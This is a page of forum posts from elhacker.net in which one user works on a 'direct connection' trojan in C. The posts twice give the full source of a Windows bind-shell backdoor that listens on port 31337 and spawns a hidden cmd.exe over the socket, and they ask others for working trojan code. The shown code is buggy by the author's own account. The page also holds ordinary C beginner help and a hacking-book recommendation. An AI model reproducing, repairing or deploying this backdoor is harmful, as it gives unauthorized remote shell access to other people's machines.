elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Mensajes
Páginas: 1 ... 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 [120] 121 122 123 124 125
1191  Programación / Programación C/C++ / Re: [C] Code troyano conexion directa en: 9 Septiembre 2010, 19:35 pm
Si, perdona, no escribi la comprobacion de errores. Veran, un troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

Lo escribi todo en la v2.0 k la publicare mañana tarde k ahora no puedo, pero se que ese no es el fallo pues todo se hace con normalidad en la otra, pero aun asi no va.

El cliente/server se hacerlo, pero no se usar correctamente las pipes. Alguien tiene un manual sencillito para aprender a usarlas? Tu manual me ha hecho ver la tecnica pero no se hacerlas bien....

Saludos y muchas gracias
1192  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 8 Septiembre 2010, 13:25 pm
Buenas, se que este tema se ha pasado a la historia, pero me parece realmente bueno el code. Es mas limpio que el mio. Sin embargo, lo probe en Windows Vista SP2, y no funcionaba correctamente. No se habrian shells por ningun lado xD. Alguien sabe como arreglarlo? Digo que tube que usar socket y connect en vez de WinSocket y WinConnect porque ya no existen. Ya se que si usabas socket y connect no iba, pero es que con lo otro tampoco iba pork ya no existe y GCC desde linea de comandos no lo reconoce.

El code es realmente bueno, y quiero renovarlo, pues estoy trabajando en un troyano parecido a ese, y me gustaria sacar ideas. Como podria hacer que corra??

Por cierto, el mio usa lo mismo pero incluyendole pipes. Pueden verlo en otros posts.
1193  Programación / Programación C/C++ / [C] Code troyano conexion directa en: 8 Septiembre 2010, 13:00 pm
Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes ("http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona....
Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. HANDLE Out, In, Err;
  6. HANDLE hThread[3];
  7. DWORD IDThread[3];
  8. STARTUPINFO Stup;
  9. SOCKET newsock;
  10. SOCKET sockfd;
  11.  
  12. DWORD WINAPI Lectura(LPVOID lpvThreadParm)
  13. {
  14.   char buffer;
  15.   unsigned long BytesRead;
  16.   int n;
  17.   while(1)
  18.   {
  19.   ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  20.   n= send(sockfd, &buffer, 1, 0);
  21.   }
  22.   return 0;
  23. }
  24. DWORD WINAPI Escritura(LPVOID lpvThreadParm)
  25. {
  26.   char buffer;
  27.   unsigned long BytesRead;
  28.   int n;
  29.   while(1)
  30.   {
  31.   ReadFile(In, &buffer, 1, &BytesRead, NULL);
  32.   n= send(sockfd, &buffer, 1, 0);
  33.   }
  34.   return 0;
  35. }
  36. DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
  37. {
  38.   char buffer;
  39.   unsigned long BytesRead;
  40.   int n;
  41.   while(1)
  42.   {
  43.   ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  44.   n= send(sockfd, &buffer, 1, 0);
  45.   }
  46.   return 0;
  47. }
  48.  
  49. int ShellCode ()
  50. {
  51. CreatePipe (&Out, &Out, NULL, 0);
  52. CreatePipe (&In, &In, NULL, 0);
  53. CreatePipe (&Err, &Err, NULL, 0);
  54.  
  55. Stup.cb=sizeof (Stup);
  56. Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  57. Stup.wShowWindow = 0;
  58. Stup.hStdOutput = Out;
  59. Stup.hStdError = Err;
  60. Stup.hStdInput = In;
  61. CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
  62.  
  63. hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
  64. hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
  65. hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
  66.  
  67. WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
  68. CloseHandle(hThread[0]);
  69. CloseHandle(hThread[1]);
  70. CloseHandle(hThread[2]);
  71. }
  72.  
  73. int main ()
  74. {
  75.    WSADATA wsaData;
  76.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  77.    struct sockaddr_in host, client;
  78.    int a=sizeof (struct sockaddr);
  79.    sockfd=socket (2, 1, 0);
  80.    host.sin_family=AF_INET;
  81.    host.sin_addr.s_addr=0;
  82.    host.sin_port=htons (31337);
  83.    memset (host.sin_zero, 0, 8);
  84.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  85.    listen (sockfd, 1);
  86.    while (1)
  87.    {
  88.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  89. ShellCode ();
  90.        closesocket (newsock);
  91.    }
  92.    closesocket (sockfd);
  93.    return 0;
  94. }
  95.  
Producto de el vinculo de antes. No funciona correctamente.

Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.
1194  Programación / Programación C/C++ / Re: duda, perdon recien empiezo!!! en: 7 Septiembre 2010, 11:35 am
Código
  1.  
  2. #include <stdio.h>
  3.  
  4. int main(int argc, char *argv [])
  5. {
  6.  int numero;
  7.  if (argc==2)
  8.     numero=atoi (argv [1]);
  9.  else
  10.  {
  11.     printf("Digite un numero:");
  12.     scanf ("%d", &numero);
  13.  }
  14.     printf("El cuadrado de %d es %d.\n", numero, numero*numero);
  15.  return 0;
  16. }
  17.  

Bueno, code mas simple y organizado. Aconstumbrate a escribirlo asi... Y para ahorrar espacio, es mejor asi el printf. Con ints te ira mejor.

Eternal Idol, ahora que me acuerdo, pork es mejor escribir gets y sscanf? asi para el int va mejor no?
1195  Programación / Programación C/C++ / Re: compila y ejecuta bien, pero me muestra un caracter raro en: 7 Septiembre 2010, 11:28 am
A mi me parece que el signo raro es traducido del \n del salto de linea.... tal vez sea eso...
1196  Programación / Programación C/C++ / Re: Sacar con scanf() todo el contenido del buffer del teclado.- en: 7 Septiembre 2010, 11:22 am
Yo estoy de acuerdo con Eternal Idol, pues a mi scanf me ha dado muxos problemas. Antes tambien usaba scanf, y gets, pero es mejor fgets....

Saludos
1197  Programación / Programación C/C++ / Re: Que funcion puedo usar? en: 6 Septiembre 2010, 11:41 am
Bueno, he probado las dos soluciones, pero desgraciadamente no puedo con ninguna de las dos. Las pipes son interesantes, pero no se como hacerlas funcionar en mi favor. Si alguno sabe como usarlas, con un code, k me lo diga por favor. Sobre lo del NC, lo de troyanizando netcat me parece mas de lammer que de alguien k kiere aprender. Sera un manual util, pero no busco meterme en el ordenador de otra persona, si no hacer un troyano de conexion directa, pues ya he hecho el de conex. inversa, k veo realmente simple.
Sigo pensando en lo de las pipes, pero necesito una manita xD!!!
A la vez busco un troyano en C de conex. directa. Vi uno que usaba pipes tambien, pero no se donde esta.

Seguire buscando. Muxas gracias

El code:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. HANDLE Out, In, Err;
  6. HANDLE hThread[3];
  7. DWORD IDThread[3];
  8. STARTUPINFO Stup;
  9. SOCKET newsock;
  10. SOCKET sockfd;
  11.  
  12. DWORD WINAPI Lectura(LPVOID lpvThreadParm)
  13. {
  14.   char buffer;
  15.   unsigned long BytesRead;
  16.   int n;
  17.   while(1)
  18.   {
  19.   ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  20.   n= send(sockfd, &buffer, 1, 0);
  21.   }
  22.   return 0;
  23. }
  24. DWORD WINAPI Escritura(LPVOID lpvThreadParm)
  25. {
  26.   char buffer;
  27.   unsigned long BytesRead;
  28.   int n;
  29.   while(1)
  30.   {
  31.   ReadFile(In, &buffer, 1, &BytesRead, NULL);
  32.   n= send(sockfd, &buffer, 1, 0);
  33.   }
  34.   return 0;
  35. }
  36. DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
  37. {
  38.   char buffer;
  39.   unsigned long BytesRead;
  40.   int n;
  41.   while(1)
  42.   {
  43.   ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  44.   n= send(sockfd, &buffer, 1, 0);
  45.   }
  46.   return 0;
  47. }
  48.  
  49. int ShellCode ()
  50. {
  51. CreatePipe (&Out, &Out, NULL, 0);
  52. CreatePipe (&In, &In, NULL, 0);
  53. CreatePipe (&Err, &Err, NULL, 0);
  54.  
  55. Stup.cb=sizeof (Stup);
  56. Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  57. Stup.wShowWindow = 0;
  58. Stup.hStdOutput = Out;
  59. Stup.hStdError = Err;
  60. Stup.hStdInput = In;
  61. CreateProcess (NULL, "cmd.exe", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
  62.  
  63. hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
  64. hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
  65. hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
  66.  
  67. WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
  68. CloseHandle(hThread[0]);
  69. CloseHandle(hThread[1]);
  70. CloseHandle(hThread[2]);
  71. }
  72.  
  73. int main ()
  74. {
  75.    WSADATA wsaData;
  76.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  77.    struct sockaddr_in host, client;
  78.    int a=sizeof (struct sockaddr);
  79.    sockfd=socket (2, 1, 0);
  80.    host.sin_family=AF_INET;
  81.    host.sin_addr.s_addr=0;
  82.    host.sin_port=htons (31337);
  83.    memset (host.sin_zero, 0, 8);
  84.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  85.    listen (sockfd, 1);
  86.    while (1)
  87.    {
  88.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  89. ShellCode ();
  90.        closesocket (newsock);
  91.    }
  92.    closesocket (sockfd);
  93.    return 0;
  94. }
  95.  
Va bien y sin warnings pero falla cuando te conectas. No hace nada!
1198  Programación / Programación C/C++ / Que funcion puedo usar? en: 4 Septiembre 2010, 17:00 pm
Buenas, pues estaba pensando en como abrir una cmd remota a traves de un troyano. Al principio pense en dup2, pero no me funcionaba correctamente. Se hacer un troyano inverso, pero quiero hacer un de conex. directa: Cuando me conecte, que me salte una cmd remota. Pero no se exactamente como hacerlo. Uso sockets en C.
Espero sus respuestas y sugerencias. Saludos y gracias
1199  Seguridad Informática / Hacking / Re: Netcat en Ubuntu en: 3 Septiembre 2010, 12:21 pm
El netcat viene preinstalado en Ubuntu. Para ver las opciones, "nc --help".
Tiene muchisimos usos. La lista que sale esta en ingles. Googlea que hay muchos manuales de netcat.
1200  Programación / Programación C/C++ / Re: Duda con %i en: 3 Septiembre 2010, 11:46 am
En un libro salia como corromper la memoria correctamente para hacer saltar a otra direccion el programa. El libro esta bastante bien para los que quieren aprender algo sobre el hacking de antes en el que no se usaban programas descargados de tal hacker. Buenos tiempos xD.
El libro te enseña a programar en C, con buenas clases de ensamblador a las que hay que estar muy atento, a usar los sockets, con su ejemplo de servidor escrito 100% a mano y legible xD, a programar shellcodes, buscar fallos y crearles los exploits necesarios, etc. Es el mejor libro de hacking que he leido nunca xD.
Se llama Hacking. Técnicas fundamentales, de Anaya.
Si quereis hacer algo en serio, teneis el espiritu y las ganas, miradlo muy bien, porque es increible.
Páginas: 1 ... 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 [120] 121 122 123 124 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines